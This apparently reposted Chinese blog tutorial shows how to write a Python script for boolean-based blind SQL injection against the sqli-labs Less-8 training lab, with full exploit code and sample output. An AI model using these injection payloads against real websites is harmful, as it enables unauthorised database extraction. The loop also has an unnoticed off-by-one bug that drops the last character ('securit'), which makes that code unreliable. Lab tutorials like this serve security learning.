使用python进行sql布尔盲注exp的编写

使用python进行sql布尔盲注exp的编写,第1张

前言:

前面学习并实现了简单的注入exp编写,那是根据注入的payload 匹配 网页内容得到注入数据,像这种exp只能应用于简单的注入,盲注入就要复杂一些,但是原理也是差不多。


exp原理:

我们知道,对于sql布尔盲注,也就是页面只会返回两种状态,一种是注入语句正确执行返回正常页面,一种就是注入语句执行错误返回不正常页面,我们就可以通过返回页面的状态判断我们注入语句是否正确执行,在sql布尔盲注中,我们常通过逐个判断字符来得到最终的信息, 源于此,我们就有如下思路了:

返回的页面不同,也就是返回数据的长度不同,就只有两种情况,我们先获取正常页面对应的数据长度,再通过我们构造的注入语句带入执行返回数据的长度与其比较,从而得到我们想要的信息

得到信息的具体步骤可以分为如下步骤:

先得到该信息的长度 ,再遍历每一个字符的ascii码,再将ascii码转为字符,从而拼接出最终的信息

为什么这里不直接使用字符判断呢 ?是因为用的php版本会一般开启gpc 单引号就会被转义

这里我使用sql-libs靶场的第八关来演示,这是一个单引号字符型盲注,并且是GET请求方式

我们先用burp抓包获取数据包信息:

接下来就直接写代码了,下面获取的是当前数据库的名字:

import requests

def exploit(url,headers):
    responde = requests.get(url, headers)
    data = responde.text
    return data
#获取所要查询信息的长度(这里指的是当前数据库的名字的长度)
def getstrlen(url1,data,headers):
    data_len=0
    i=1
    while True:
        payload=f"1' and length((select database()))={i} --+" #注入语句
        url = url1 + payload
        result=exploit(url,headers)  #获取当前页面的返回数据
        #对比两次页面返回数据的长度,判断出所查询信息的长度
        if(len(data)==len(result)):
            data_len=i
            break
        else:
            i+=1

    return data_len


#判断当前数据库名每个字符的值,从而的到完整的数据库名
def get_data(url1,headers,data,data_len):
    content=''
    for i in range(1,data_len,1):
        for j in range(1,125,1):
            payload=f"1' and ascii(substring((select database()),{i},1))={j} --+"
            url = url1 + payload
            result = exploit(url, headers)  # 获取当前页面的返回数据
            if(len(data)==len(result)):
                c=chr(j)
                content+=c
                print(f"判断出第{i}个字符为:{c}\r\n")
                break
    return content



#启动函数
def run():
    #返回正常页面的url
    url = "http://192.168.43.2:9998/Less-8?id=1"
    
    #请求头
    header = '''
    Host: 192.168.43.2:9998
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0'''
    # 去参数头尾的空格并按换行符分割
    headers = header.strip().split('\n')

    # 使用字典生成式将参数切片重组,并去掉空格,处理带协议头中的://
    headers = {x.split(':')[0].strip(): ("".join(x.split(':')[1:])).strip().replace('//', "://") for x in headers}
    #print(headers)
    data=exploit(url,headers)  #获取正常页面的返回数据
    #print(len(data))

    url1="http://192.168.43.2:9998/Less-8?id="

    data_len=getstrlen(url1,data,headers) 
    #print(data_len)

    content=get_data(url1,headers,data,data_len)
    print(f"判断出最终结果为:{content}")

if __name__=="__main__":
    run()

执行结果:

判断出第1个字符为:s

判断出第2个字符为:e

判断出第3个字符为:c

判断出第4个字符为:u

判断出第5个字符为:r

判断出第6个字符为:i

判断出第7个字符为:t

判断出最终结果为:securit

获取其它信息的话在代码中改一下payload就行了。


欢迎分享,转载请注明来源:内存溢出

原文地址: https://www.outofmemory.cn/langs/571684.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-09
下一篇 2022-04-09

发表评论

登录后才能评论

评论列表(0条)

保存